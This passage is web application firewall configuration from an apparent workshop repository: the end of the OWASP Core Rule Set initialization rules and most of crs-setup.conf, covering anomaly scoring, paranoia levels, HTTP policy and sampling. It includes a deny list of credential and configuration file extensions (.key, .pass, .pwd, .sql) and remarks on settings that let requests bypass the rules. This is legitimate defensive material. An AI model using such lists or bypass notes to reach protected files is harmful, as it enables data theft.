setvar:'tx.real_ip=%{remote_addr}'" 306 | 307 | # 308 | # -=[ Initialize Correct Body Processing ]=- 309 | # 310 | # Force request body variable and optionally request body processor 311 | # 312 | 313 | # Force body variable 314 | SecRule REQBODY_PROCESSOR "!@rx (?:URLENCODED|MULTIPART|XML|JSON)" \ 315 | "id:901340,\ 316 | phase:1,\ 317 | pass,\ 318 | nolog,\ 319 | noauditlog,\ 320 | msg:'Enabling body inspection',\ 321 | tag:'paranoia-level/1',\ 322 | ctl:forceRequestBodyVariable=On,\ 323 | ver:'OWASP_CRS/3.3.2'" 324 | 325 | # Force body processor URLENCODED 326 | SecRule TX:enforce_bodyproc_urlencoded "@eq 1" \ 327 | "id:901350,\ 328 | phase:1,\ 329 | pass,\ 330 | t:none,t:urlDecodeUni,\ 331 | nolog,\ 332 | noauditlog,\ 333 | msg:'Enabling forced body inspection for ASCII content',\ 334 | ver:'OWASP_CRS/3.3.2',\ 335 | chain" 336 | SecRule REQBODY_PROCESSOR "!@rx (?:URLENCODED|MULTIPART|XML|JSON)" \ 337 | "ctl:requestBodyProcessor=URLENCODED" 338 | 339 | 340 | # 341 | # -=[ Easing In / Sampling Percentage ]=- 342 | # 343 | # This is used to send only a limited percentage of requests into the Core 344 | # Rule Set. The selection is based on TX.sampling_percentage and a pseudo 345 | # random number calculated below. 346 | # 347 | # Use this to ease into a new Core Rules installation with an existing 348 | # productive service. 349 | # 350 | # See 351 | # https://www.netnea.com/cms/2016/04/26/easing-in-conditional-modsecurity-rule-execution-based-on-pseudo-random-numbers/ 352 | # 353 | 354 | # 355 | # Generate the pseudo random number 356 | # 357 | # ATTENTION: This is no cryptographically secure random number. It's just 358 | # a cheap way to get some random number suitable for sampling. 359 | # 360 | # We take the entropy contained in the UNIQUE_ID. We hash that variable and 361 | # take the first integer numbers out of it. Theoretically, it is possible 362 | # there are no integers in a sha1 hash. We make sure we get two 363 | # integer numbers by taking the last two digits from the DURATION counter 364 | # (in microseconds). 365 | # Finally, leading zeros are removed from the two-digit random number. 366 | # 367 | 368 | SecRule TX:sampling_percentage "@eq 100" \ 369 | "id:901400,\ 370 | phase:1,\ 371 | pass,\ 372 | nolog,\ 373 | ver:'OWASP_CRS/3.3.2',\ 374 | skipAfter:END-SAMPLING" 375 | 376 | SecRule UNIQUE_ID "@rx ^." \ 377 | "id:901410,\ 378 | phase:1,\ 379 | pass,\ 380 | t:sha1,t:hexEncode,\ 381 | nolog,\ 382 | ver:'OWASP_CRS/3.3.2',\ 383 | setvar:'TX.sampling_rnd100=%{MATCHED_VAR}'" 384 | 385 | SecRule DURATION "@rx (..)$" \ 386 | "id:901420,\ 387 | phase:1,\ 388 | pass,\ 389 | capture,\ 390 | nolog,\ 391 | ver:'OWASP_CRS/3.3.2',\ 392 | setvar:'TX.sampling_rnd100=%{TX.sampling_rnd100}%{TX.1}'" 393 | 394 | SecRule TX:sampling_rnd100 "@rx ^[a-f]*([0-9])[a-f]*([0-9])" \ 395 | "id:901430,\ 396 | phase:1,\ 397 | pass,\ 398 | capture,\ 399 | nolog,\ 400 | ver:'OWASP_CRS/3.3.2',\ 401 | setvar:'TX.sampling_rnd100=%{TX.1}%{TX.2}'" 402 | 403 | SecRule TX:sampling_rnd100 "@rx ^0([0-9])" \ 404 | "id:901440,\ 405 | phase:1,\ 406 | pass,\ 407 | capture,\ 408 | nolog,\ 409 | ver:'OWASP_CRS/3.3.2',\ 410 | setvar:'TX.sampling_rnd100=%{TX.1}'" 411 | 412 | 413 | # 414 | # Sampling decision 415 | # 416 | # If a request is allowed to pass without being checked by the CRS, there is no 417 | # entry in the audit log (for performance reasons), but an error log entry is 418 | # being written. If you want to disable the error log entry, then issue the 419 | # following directive somewhere after the inclusion of the CRS 420 | # (E.g., RESPONSE-999-EXCEPTIONS.conf). 421 | # 422 | # SecRuleUpdateActionById 901450 "nolog" 423 | # 424 | 425 | 426 | SecRule TX:sampling_rnd100 "!@lt %{tx.sampling_percentage}" \ 427 | "id:901450,\ 428 | phase:1,\ 429 | pass,\ 430 | log,\ 431 | noauditlog,\ 432 | msg:'Sampling: Disable the rule engine based on sampling_percentage %{TX.sampling_percentage} and random number %{TX.sampling_rnd100}',\ 433 | ctl:ruleEngine=Off,\ 434 | ver:'OWASP_CRS/3.3.2'" 435 | 436 | SecMarker "END-SAMPLING" 437 | 438 | 439 | # 440 | # Configuration Plausibility Checks 441 | # 442 | 443 | # Make sure executing paranoia level is not lower than paranoia level 444 | SecRule TX:executing_paranoia_level "@lt %{tx.paranoia_level}" \ 445 | "id:901500,\ 446 | phase:1,\ 447 | deny,\ 448 | status:500,\ 449 | t:none,\ 450 | log,\ 451 | msg:'Executing paranoia level configured is lower than the paranoia level itself. This is illegal. Blocking request. Aborting',\ 452 | ver:'OWASP_CRS/3.3.2'" 453 | -------------------------------------------------------------------------------- /workshop/waf/waf-rules/crs-setup.conf: -------------------------------------------------------------------------------- 1 | # ------------------------------------------------------------------------ 2 | # OWASP ModSecurity Core Rule Set ver.3.3.2 3 | # Copyright (c) 2006-2020 Trustwave and contributors. All rights reserved. 4 | # 5 | # The OWASP ModSecurity Core Rule Set is distributed under 6 | # Apache Software License (ASL) version 2 7 | # Please see the enclosed LICENSE file for full details. 8 | # ------------------------------------------------------------------------ 9 | 10 | 11 | # 12 | # -- [[ Introduction ]] -------------------------------------------------------- 13 | # 14 | # The OWASP ModSecurity Core Rule Set (CRS) is a set of generic attack 15 | # detection rules that provide a base level of protection for any web 16 | # application. They are written for the open source, cross-platform 17 | # ModSecurity Web Application Firewall. 18 | # 19 | # See also: 20 | # https://coreruleset.org/ 21 | # https://github.com/SpiderLabs/owasp-modsecurity-crs 22 | # https://www.owasp.org/index.php/Category:OWASP_ModSecurity_Core_Rule_Set_Project 23 | # 24 | 25 | 26 | # 27 | # -- [[ System Requirements ]] ------------------------------------------------- 28 | # 29 | # CRS requires ModSecurity version 2.8.0 or above. 30 | # We recommend to always use the newest ModSecurity version. 31 | # 32 | # The configuration directives/settings in this file are used to control 33 | # the OWASP ModSecurity CRS. These settings do **NOT** configure the main 34 | # ModSecurity settings (modsecurity.conf) such as SecRuleEngine, 35 | # SecRequestBodyAccess, SecAuditEngine, SecDebugLog, and XML processing. 36 | # 37 | # The CRS assumes that modsecurity.conf has been loaded. It is bundled with 38 | # ModSecurity. If you don't have it, you can get it from: 39 | # 2.x: https://raw.githubusercontent.com/SpiderLabs/ModSecurity/v2/master/modsecurity.conf-recommended 40 | # 3.x: https://raw.githubusercontent.com/SpiderLabs/ModSecurity/v3/master/modsecurity.conf-recommended 41 | # 42 | # The order of file inclusion in your webserver configuration should always be: 43 | # 1. modsecurity.conf 44 | # 2. crs-setup.conf (this file) 45 | # 3. rules/*.conf (the CRS rule files) 46 | # 47 | # Please refer to the INSTALL file for detailed installation instructions. 48 | # 49 | 50 | 51 | # 52 | # -- [[ Mode of Operation: Anomaly Scoring vs. Self-Contained ]] --------------- 53 | # 54 | # The CRS can run in two modes: 55 | # 56 | # -- [[ Anomaly Scoring Mode (default) ]] -- 57 | # In CRS3, anomaly mode is the default and recommended mode, since it gives the 58 | # most accurate log information and offers the most flexibility in setting your 59 | # blocking policies. It is also called "collaborative detection mode". 60 | # In this mode, each matching rule increases an 'anomaly score'. 61 | # At the conclusion of the inbound rules, and again at the conclusion of the 62 | # outbound rules, the anomaly score is checked, and the blocking evaluation 63 | # rules apply a disruptive action, by default returning an error 403. 64 | # 65 | # -- [[ Self-Contained Mode ]] -- 66 | # In this mode, rules apply an action instantly. This was the CRS2 default. 67 | # It can lower resource usage, at the cost of less flexibility in blocking policy 68 | # and less informative audit logs (only the first detected threat is logged). 69 | # Rules inherit the disruptive action that you specify (i.e. deny, drop, etc). 70 | # The first rule that matches will execute this action. In most cases this will 71 | # cause evaluation to stop after the first rule has matched, similar to how many 72 | # IDSs function. 73 | # 74 | # -- [[ Alert Logging Control ]] -- 75 | # In the mode configuration, you must also adjust the desired logging options. 76 | # There are three common options for dealing with logging. By default CRS enables 77 | # logging to the webserver error log (or Event viewer) plus detailed logging to 78 | # the ModSecurity audit log (configured under SecAuditLog in modsecurity.conf). 79 | # 80 | # - To log to both error log and ModSecurity audit log file, use: "log,auditlog" 81 | # - To log *only* to the ModSecurity audit log file, use: "nolog,auditlog" 82 | # - To log *only* to the error log file, use: "log,noauditlog" 83 | # 84 | # Examples for the various modes follow. 85 | # You must leave one of the following options enabled. 86 | # Note that you must specify the same line for phase:1 and phase:2. 87 | # 88 | 89 | # Default: Anomaly Scoring mode, log to error log, log to ModSecurity audit log 90 | # - By default, offending requests are blocked with an error 403 response. 91 | # - To change the disruptive action, see RESPONSE-999-EXCLUSION-RULES-AFTER-CRS.conf.example 92 | # and review section 'Changing the Disruptive Action for Anomaly Mode'. 93 | # - In Apache, you can use ErrorDocument to show a friendly error page or 94 | # perform a redirect: https://httpd.apache.org/docs/2.4/custom-error.html 95 | # 96 | # SecDefaultAction "phase:1,log,auditlog,deny" 97 | # SecDefaultAction "phase:2,log,auditlog,deny" 98 | 99 | # Example: Anomaly Scoring mode, log only to ModSecurity audit log 100 | # - By default, offending requests are blocked with an error 403 response. 101 | # - To change the disruptive action, see RESPONSE-999-EXCLUSION-RULES-AFTER-CRS.conf.example 102 | # and review section 'Changing the Disruptive Action for Anomaly Mode'. 103 | # - In Apache, you can use ErrorDocument to show a friendly error page or 104 | # perform a redirect: https://httpd.apache.org/docs/2.4/custom-error.html 105 | # 106 | # SecDefaultAction "phase:1,nolog,auditlog,pass" 107 | # SecDefaultAction "phase:2,nolog,auditlog,pass" 108 | 109 | # Example: Self-contained mode, return error 403 on blocking 110 | # - In this configuration the default disruptive action becomes 'deny'. After a 111 | # rule triggers, it will stop processing the request and return an error 403. 112 | # - You can also use a different error status, such as 404, 406, et cetera. 113 | # - In Apache, you can use ErrorDocument to show a friendly error page or 114 | # perform a redirect: https://httpd.apache.org/docs/2.4/custom-error.html 115 | # 116 | SecDefaultAction "phase:1,log,auditlog,deny,status:403" 117 | SecDefaultAction "phase:2,log,auditlog,deny,status:403" 118 | 119 | # Example: Self-contained mode, redirect back to homepage on blocking 120 | # - In this configuration the 'tag' action includes the Host header data in the 121 | # log. This helps to identify which virtual host triggered the rule (if any). 122 | # - Note that this might cause redirect loops in some situations; for example 123 | # if a Cookie or User-Agent header is blocked, it will also be blocked when 124 | # the client subsequently tries to access the homepage. You can also redirect 125 | # to another custom URL. 126 | # SecDefaultAction "phase:1,log,auditlog,redirect:'http://%{request_headers.host}/',tag:'Host: %{request_headers.host}'" 127 | # SecDefaultAction "phase:2,log,auditlog,redirect:'http://%{request_headers.host}/',tag:'Host: %{request_headers.host}'" 128 | 129 | 130 | # 131 | # -- [[ Paranoia Level Initialization ]] --------------------------------------- 132 | # 133 | # The Paranoia Level (PL) setting allows you to choose the desired level 134 | # of rule checks that will add to your anomaly scores. 135 | # 136 | # With each paranoia level increase, the CRS enables additional rules 137 | # giving you a higher level of security. However, higher paranoia levels 138 | # also increase the possibility of blocking some legitimate traffic due to 139 | # false alarms (also named false positives or FPs). If you use higher 140 | # paranoia levels, it is likely that you will need to add some exclusion 141 | # rules for certain requests and applications receiving complex input. 142 | # 143 | # - A paranoia level of 1 is default. In this level, most core rules 144 | # are enabled. PL1 is advised for beginners, installations 145 | # covering many different sites and applications, and for setups 146 | # with standard security requirements. 147 | # At PL1 you should face FPs rarely. If you encounter FPs, please 148 | # open an issue on the CRS GitHub site and don't forget to attach your 149 | # complete Audit Log record for the request with the issue. 150 | # - Paranoia level 2 includes many extra rules, for instance enabling 151 | # many regexp-based SQL and XSS injection protections, and adding 152 | # extra keywords checked for code injections. PL2 is advised 153 | # for moderate to experienced users desiring more complete coverage 154 | # and for installations with elevated security requirements. 155 | # PL2 comes with some FPs which you need to handle. 156 | # - Paranoia level 3 enables more rules and keyword lists, and tweaks 157 | # limits on special characters used. PL3 is aimed at users experienced 158 | # at the handling of FPs and at installations with a high security 159 | # requirement. 160 | # - Paranoia level 4 further restricts special characters. 161 | # The highest level is advised for experienced users protecting 162 | # installations with very high security requirements. Running PL4 will 163 | # likely produce a very high number of FPs which have to be 164 | # treated before the site can go productive. 165 | # 166 | # All rules will log their PL to the audit log; 167 | # example: [tag "paranoia-level/2"]. This allows you to deduct from the 168 | # audit log how the WAF behavior is affected by paranoia level. 169 | # 170 | # It is important to also look into the variable 171 | # tx.enforce_bodyproc_urlencoded (Enforce Body Processor URLENCODED) 172 | # defined below. Enabling it closes a possible bypass of CRS. 173 | # 174 | # Uncomment this rule to change the default: 175 | # 176 | #SecAction \ 177 | # "id:900000,\ 178 | # phase:1,\ 179 | # nolog,\ 180 | # pass,\ 181 | # t:none,\ 182 | # setvar:tx.paranoia_level=1" 183 | 184 | 185 | # It is possible to execute rules from a higher paranoia level but not include 186 | # them in the anomaly scoring. This allows you to take a well-tuned system on 187 | # paranoia level 1 and add rules from paranoia level 2 without having to fear 188 | # the new rules would lead to false positives that raise your score above the 189 | # threshold. 190 | # This optional feature is enabled by uncommenting the following rule and 191 | # setting the tx.executing_paranoia_level. 192 | # Technically, rules up to the level defined in tx.executing_paranoia_level 193 | # will be executed, but only the rules up to tx.paranoia_level affect the 194 | # anomaly scores. 195 | # By default, tx.executing_paranoia_level is set to tx.paranoia_level. 196 | # tx.executing_paranoia_level must not be lower than tx.paranoia_level. 197 | # 198 | # Please notice that setting tx.executing_paranoia_level to a higher paranoia 199 | # level results in a performance impact that is equally high as setting 200 | # tx.paranoia_level to said level. 201 | # 202 | #SecAction \ 203 | # "id:900001,\ 204 | # phase:1,\ 205 | # nolog,\ 206 | # pass,\ 207 | # t:none,\ 208 | # setvar:tx.executing_paranoia_level=1" 209 | 210 | 211 | # 212 | # -- [[ Enforce Body Processor URLENCODED ]] ----------------------------------- 213 | # 214 | # ModSecurity selects the body processor based on the Content-Type request 215 | # header. But clients are not always setting the Content-Type header for their 216 | # request body payloads. This will leave ModSecurity with limited vision into 217 | # the payload. The variable tx.enforce_bodyproc_urlencoded lets you force the 218 | # URLENCODED body processor in these situations. This is off by default, as it 219 | # implies a change of the behaviour of ModSecurity beyond CRS (the body 220 | # processor applies to all rules, not only CRS) and because it may lead to 221 | # false positives already on paranoia level 1. However, enabling this variable 222 | # closes a possible bypass of CRS so it should be considered. 223 | # 224 | # Uncomment this rule to change the default: 225 | # 226 | #SecAction \ 227 | # "id:900010,\ 228 | # phase:1,\ 229 | # nolog,\ 230 | # pass,\ 231 | # t:none,\ 232 | # setvar:tx.enforce_bodyproc_urlencoded=1" 233 | 234 | 235 | # 236 | # -- [[ Anomaly Mode Severity Levels ]] ---------------------------------------- 237 | # 238 | # Each rule in the CRS has an associated severity level. 239 | # These are the default scoring points for each severity level. 240 | # These settings will be used to increment the anomaly score if a rule matches. 241 | # You may adjust these points to your liking, but this is usually not needed. 242 | # 243 | # - CRITICAL severity: Anomaly Score of 5. 244 | # Mostly generated by the application attack rules (93x and 94x files). 245 | # - ERROR severity: Anomaly Score of 4. 246 | # Generated mostly from outbound leakage rules (95x files). 247 | # - WARNING severity: Anomaly Score of 3. 248 | # Generated mostly by malicious client rules (91x files). 249 | # - NOTICE severity: Anomaly Score of 2. 250 | # Generated mostly by the protocol rules (92x files). 251 | # 252 | # In anomaly mode, these scores are cumulative. 253 | # So it's possible for a request to hit multiple rules. 254 | # 255 | # (Note: In this file, we use 'phase:1' to set CRS configuration variables. 256 | # In general, 'phase:request' is used. However, we want to make absolutely sure 257 | # that all configuration variables are set before the CRS rules are processed.) 258 | # 259 | #SecAction \ 260 | # "id:900100,\ 261 | # phase:1,\ 262 | # nolog,\ 263 | # pass,\ 264 | # t:none,\ 265 | # setvar:tx.critical_anomaly_score=5,\ 266 | # setvar:tx.error_anomaly_score=4,\ 267 | # setvar:tx.warning_anomaly_score=3,\ 268 | # setvar:tx.notice_anomaly_score=2" 269 | 270 | 271 | # 272 | # -- [[ Anomaly Mode Blocking Threshold Levels ]] ------------------------------ 273 | # 274 | # Here, you can specify at which cumulative anomaly score an inbound request, 275 | # or outbound response, gets blocked. 276 | # 277 | # Most detected inbound threats will give a critical score of 5. 278 | # Smaller violations, like violations of protocol/standards, carry lower scores. 279 | # 280 | # [ At default value ] 281 | # If you keep the blocking thresholds at the defaults, the CRS will work 282 | # similarly to previous CRS versions: a single critical rule match will cause 283 | # the request to be blocked and logged. 284 | # 285 | # [ Using higher values ] 286 | # If you want to make the CRS less sensitive, you can increase the blocking 287 | # thresholds, for instance to 7 (which would require multiple rule matches 288 | # before blocking) or 10 (which would require at least two critical alerts - or 289 | # a combination of many lesser alerts), or even higher. However, increasing the 290 | # thresholds might cause some attacks to bypass the CRS rules or your policies. 291 | # 292 | # [ New deployment strategy: Starting high and decreasing ] 293 | # It is a common practice to start a fresh CRS installation with elevated 294 | # anomaly scoring thresholds (>100) and then lower the limits as your 295 | # confidence in the setup grows. You may also look into the Sampling 296 | # Percentage section below for a different strategy to ease into a new 297 | # CRS installation. 298 | # 299 | # [ Anomaly Threshold / Paranoia Level Quadrant ] 300 | # 301 | # High Anomaly Limit | High Anomaly Limit 302 | # Low Paranoia Level | High Paranoia Level 303 | # -> Fresh Site | -> Experimental Site 304 | # ------------------------------------------------------ 305 | # Low Anomaly Limit | Low Anomaly Limit 306 | # Low Paranoia Level | High Paranoia Level 307 | # -> Standard Site | -> High Security Site 308 | # 309 | # Uncomment this rule to change the defaults: 310 | # 311 | #SecAction \ 312 | # "id:900110,\ 313 | # phase:1,\ 314 | # nolog,\ 315 | # pass,\ 316 | # t:none,\ 317 | # setvar:tx.inbound_anomaly_score_threshold=5,\ 318 | # setvar:tx.outbound_anomaly_score_threshold=4" 319 | 320 | # 321 | # -- [[ Application Specific Rule Exclusions ]] ---------------------------------------- 322 | # 323 | # Some well-known applications may undertake actions that appear to be 324 | # malicious. This includes actions such as allowing HTML or Javascript within 325 | # parameters. In such cases the CRS aims to prevent false positives by allowing 326 | # administrators to enable prebuilt, application specific exclusions on an 327 | # application by application basis. 328 | # These application specific exclusions are distinct from the rules that would 329 | # be placed in the REQUEST-900-EXCLUSION-RULES-BEFORE-CRS configuration file as 330 | # they are prebuilt for specific applications. The 'REQUEST-900' file is 331 | # designed for users to add their own custom exclusions. Note, using these 332 | # application specific exclusions may loosen restrictions of the CRS, 333 | # especially if used with an application they weren't designed for. As a result 334 | # they should be applied with care. 335 | # To use this functionality you must specify a supported application. To do so 336 | # uncomment rule 900130. In addition to uncommenting the rule you will need to 337 | # specify which application(s) you'd like to enable exclusions for. Only a 338 | # (very) limited set of applications are currently supported, please use the 339 | # filenames prefixed with 'REQUEST-903' to guide you in your selection. 340 | # Such filenames use the following convention: 341 | # REQUEST-903.9XXX-{APPNAME}-EXCLUSIONS-RULES.conf 342 | # 343 | # It is recommended if you run multiple web applications on your site to limit 344 | # the effects of the exclusion to only the path where the excluded webapp 345 | # resides using a rule similar to the following example: 346 | # SecRule REQUEST_URI "@beginsWith /wordpress/" setvar:tx.crs_exclusions_wordpress=1 347 | 348 | # 349 | # Modify and uncomment this rule to select which application: 350 | # 351 | #SecAction \ 352 | # "id:900130,\ 353 | # phase:1,\ 354 | # nolog,\ 355 | # pass,\ 356 | # t:none,\ 357 | # setvar:tx.crs_exclusions_cpanel=1,\ 358 | # setvar:tx.crs_exclusions_drupal=1,\ 359 | # setvar:tx.crs_exclusions_dokuwiki=1,\ 360 | # setvar:tx.crs_exclusions_nextcloud=1,\ 361 | # setvar:tx.crs_exclusions_wordpress=1,\ 362 | # setvar:tx.crs_exclusions_xenforo=1" 363 | 364 | # 365 | # -- [[ HTTP Policy Settings ]] ------------------------------------------------ 366 | # 367 | # This section defines your policies for the HTTP protocol, such as: 368 | # - allowed HTTP versions, HTTP methods, allowed request Content-Types 369 | # - forbidden file extensions (e.g. .bak, .sql) and request headers (e.g. Proxy) 370 | # 371 | # These variables are used in the following rule files: 372 | # - REQUEST-911-METHOD-ENFORCEMENT.conf 373 | # - REQUEST-912-DOS-PROTECTION.conf 374 | # - REQUEST-920-PROTOCOL-ENFORCEMENT.conf 375 | 376 | # HTTP methods that a client is allowed to use. 377 | # Default: GET HEAD POST OPTIONS 378 | # Example: for RESTful APIs, add the following methods: PUT PATCH DELETE 379 | # Example: for WebDAV, add the following methods: CHECKOUT COPY DELETE LOCK 380 | # MERGE MKACTIVITY MKCOL MOVE PROPFIND PROPPATCH PUT UNLOCK 381 | # Uncomment this rule to change the default. 382 | #SecAction \ 383 | # "id:900200,\ 384 | # phase:1,\ 385 | # nolog,\ 386 | # pass,\ 387 | # t:none,\ 388 | # setvar:'tx.allowed_methods=GET HEAD POST OPTIONS'" 389 | 390 | # Content-Types that a client is allowed to send in a request. 391 | # Default: |application/x-www-form-urlencoded| |multipart/form-data| |multipart/related| 392 | # |text/xml| |application/xml| |application/soap+xml| |application/x-amf| |application/json| 393 | # |application/cloudevents+json| |application/cloudevents-batch+json| |application/octet-stream| 394 | # |application/csp-report| |application/xss-auditor-report| |text/plain| 395 | # Uncomment this rule to change the default. 396 | #SecAction \ 397 | # "id:900220,\ 398 | # phase:1,\ 399 | # nolog,\ 400 | # pass,\ 401 | # t:none,\ 402 | # setvar:'tx.allowed_request_content_type=|application/x-www-form-urlencoded| |multipart/form-data| |multipart/related| |text/xml| |application/xml| |application/soap+xml| |application/x-amf| |application/json| |application/cloudevents+json| |application/cloudevents-batch+json| |application/octet-stream| |application/csp-report| |application/xss-auditor-report| |text/plain|'" 403 | 404 | # Allowed HTTP versions. 405 | # Default: HTTP/1.0 HTTP/1.1 HTTP/2 HTTP/2.0 406 | # Example for legacy clients: HTTP/0.9 HTTP/1.0 HTTP/1.1 HTTP/2 HTTP/2.0 407 | # Note that some web server versions use 'HTTP/2', some 'HTTP/2.0', so 408 | # we include both version strings by default. 409 | # Uncomment this rule to change the default. 410 | #SecAction \ 411 | # "id:900230,\ 412 | # phase:1,\ 413 | # nolog,\ 414 | # pass,\ 415 | # t:none,\ 416 | # setvar:'tx.allowed_http_versions=HTTP/1.0 HTTP/1.1 HTTP/2 HTTP/2.0'" 417 | 418 | # Forbidden file extensions. 419 | # Guards against unintended exposure of development/configuration files. 420 | # Default: .asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/ 421 | # Example: .bak/ .config/ .conf/ .db/ .ini/ .log/ .old/ .pass/ .pdb/ .rdb/ .sql/ 422 | # Uncomment this rule to change the default. 423 | #SecAction \ 424 | # "id:900240,\ 425 | # phase:1,\ 426 | # nolog,\ 427 | # pass,\ 428 | # t:none,\ 429 | # setvar:'tx.restricted_extensions=.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/'" 430 | 431 | # Forbidden request headers. 432 | # Header names should be lowercase, enclosed by /slashes/ as delimiters. 433 | # Blocking Proxy header prevents 'httpoxy' vulnerability: https://httpoxy.org 434 | # Default: /proxy/ /lock-token/ /content-range/ /if/ 435 | # Uncomment this rule to change the default. 436 | #SecAction \ 437 | # "id:900250,\ 438 | # phase:1,\ 439 | # nolog,\ 440 | # pass,\ 441 | # t:none,\ 442 | # setvar:'tx.restricted_headers=/proxy/ /lock-token/ /content-range/ /if/'" 443 | 444 | # File extensions considered static files. 445 | # Extensions include the dot, lowercase, enclosed by /slashes/ as delimiters. 446 | # Used in DoS protection rule. See section "Anti-Automation / DoS Protection". 447 | # Default: /.jpg/ /.jpeg/ /.png/ /.gif/ /.js/ /.css/ /.ico/ /.svg/ /.webp/ 448 | # Uncomment this rule to change the default. 449 | #SecAction \ 450 | # "id:900260,\ 451 | # phase:1,\ 452 | # nolog,\ 453 | # pass,\ 454 | # t:none,\ 455 | # setvar:'tx.static_extensions=/.jpg/ /.jpeg/ /.png/ /.gif/ /.js/ /.css/ /.ico/ /.svg/ /.webp/'" 456 | 457 | # Content-Types charsets that a client is allowed to send in a request. 458 | # Default: utf-8|iso-8859-1|iso-8859-15|windows-1252 459 | # Uncomment this rule to change the default. 460 | # Use "|" to separate multiple charsets like in the rule defining 461 | # tx.allowed_request_content_type. 462 | #SecAction \ 463 | # "id:900280,\ 464 | # phase:1,\ 465 | # nolog,\ 466 | # pass,\ 467 | # t:none,\ 468 | # setvar:'tx.allowed_request_content_type_charset=utf-8|iso-8859-1|iso-8859-15|windows-1252'" 469 | 470 | # 471 | # -- [[ HTTP Argument/Upload Limits ]] ----------------------------------------- 472 | # 473 | # Here you can define optional limits on HTTP get/post parameters and uploads. 474 | # This can help to prevent application specific DoS attacks. 475 | # 476 | # These values are checked in REQUEST-920-PROTOCOL-ENFORCEMENT.conf. 477 | # Beware of blocking legitimate traffic when enabling these limits. 478 | # 479 | 480 | # Block request if number of arguments is too high 481 | # Default: unlimited 482 | # Example: 255 483 | # Uncomment this rule to set a limit. 484 | #SecAction \ 485 | # "id:900300,\ 486 | # phase:1,\ 487 | # nolog,\ 488 | # pass,\ 489 | # t:none,\ 490 | # setvar:tx.max_num_args=255" 491 | 492 | # Block request if the length of any argument name is too high 493 | # Default: unlimited 494 | # Example: 100 495 | # Uncomment this rule to set a limit. 496 | #SecAction \ 497 | # "id:900310,\ 498 | # phase:1,\ 499 | # nolog,\ 500 | # pass,\ 501 | # t:none,\ 502 | # setvar:tx.arg_name_length=100" 503 | 504 | # Block request if the length of any argument value is too high 505 | # Default: unlimited 506 | # Example: 400 507 | # Uncomment this rule to set a limit. 508 | #SecAction \ 509 | # "id:900320,\ 510 | # phase:1,\ 511 | # nolog,\ 512 | # pass,\ 513 | # t:none,\ 514 | # setvar:tx.arg_length=400" 515 | 516 | # Block request if the total length of all combined arguments is too high 517 | # Default: unlimited 518 | # Example: 64000 519 | # Uncomment this rule to set a limit. 520 | #SecAction \ 521 | # "id:900330,\ 522 | # phase:1,\ 523 | # nolog,\ 524 | # pass,\ 525 | # t:none,\ 526 | # setvar:tx.total_arg_length=64000" 527 | 528 | # Block request if the file size of any individual uploaded file is too high 529 | # Default: unlimited 530 | # Example: 1048576 531 | # Uncomment this rule to set a limit. 532 | #SecAction \ 533 | # "id:900340,\ 534 | # phase:1,\ 535 | # nolog,\ 536 | # pass,\ 537 | # t:none,\ 538 | # setvar:tx.max_file_size=1048576" 539 | 540 | # Block request if the total size of all combined uploaded files is too high 541 | # Default: unlimited 542 | # Example: 1048576 543 | # Uncomment this rule to set a limit. 544 | #SecAction \ 545 | # "id:900350,\ 546 | # phase:1,\ 547 | # nolog,\ 548 | # pass,\ 549 | # t:none,\ 550 | # setvar:tx.combined_file_sizes=1048576" 551 | 552 | 553 | # 554 | # -- [[ Easing In / Sampling Percentage ]] ------------------------------------- 555 | # 556 | # Adding the Core Rule Set to an existing productive site can lead to false 557 | # positives, unexpected performance issues and other undesired side effects. 558 | # 559 | # It can be beneficial to test the water first by enabling the CRS for a 560 | # limited number of requests only and then, when you have solved the issues (if 561 | # any) and you have confidence in the setup, to raise the ratio of requests 562 | # being sent into the ruleset. 563 | # 564 | # Adjust the percentage of requests that are funnelled into the Core Rules by 565 | # setting TX.sampling_percentage below. The default is 100, meaning that every 566 | # request gets checked by the CRS. The selection of requests, which are going 567 | # to be checked, is based on a pseudo random number generated by ModSecurity. 568 | # 569 | # If a request is allowed to pass without being checked by the CRS, there is no 570 | # entry in the audit log (for performance reasons), but an error log entry is 571 | # written. If you want to disable the error log entry, then issue the 572 | # following directive somewhere after the inclusion of the CRS 573 | # (E.g., RESPONSE-999-EXCLUSION-RULES-AFTER-CRS.conf). 574 | # 575 | # SecRuleUpdateActionById 901150 "nolog" 576 | # 577 | # ATTENTION: If this TX.sampling_percentage is below 100, then some of the 578 | # requests will bypass the Core Rules completely and you lose the ability to 579 | # protect your service with ModSecurity. 580 | # 581 | # Uncomment this rule to enable this feature: 582 | # 583 | #SecAction "id:900400,\ 584 | # phase:1,\ 585 | # pass,\ 586 | # nolog,\ 587 | # setvar:tx.sampling_percentage=100" 588 | 589 | 590 | # 591 | # -- [[ Project Honey Pot HTTP Blacklist ]] ------------------------------------ 592 | # 593 | # Optionally, you can check the client IP address against the Project Honey Pot 594 | # HTTPBL (dnsbl.httpbl.org). In order to use this, you need to register to get a 595 | # free API key. Set it here with SecHttpBlKey. 596 | # 597 | # Project Honeypot returns multiple different malicious IP types. 598 | # You may specify which you want to block by enabling or disabling them below. 599 | # 600 | # Ref: https://www.projecthoneypot.org/httpbl.php 601 | # Ref: https://github.com/SpiderLabs/ModSecurity/wiki/Reference-Manual#wiki-SecHttpBlKey 602 | # 603 | # Uncomment these rules to use this feature: 604 | # 605 | #SecHttpBlKey XXXXXXXXXXXXXXXXX 606 | #SecAction "id:900500,\ 607 | # phase:1,\ 608 | # nolog,\ 609 | # pass,\ 610 | # t:none,\ 611 | # setvar:tx.block_search_ip=1,\ 612 | # setvar:tx.block_suspicious_ip=1,\ 613 | # 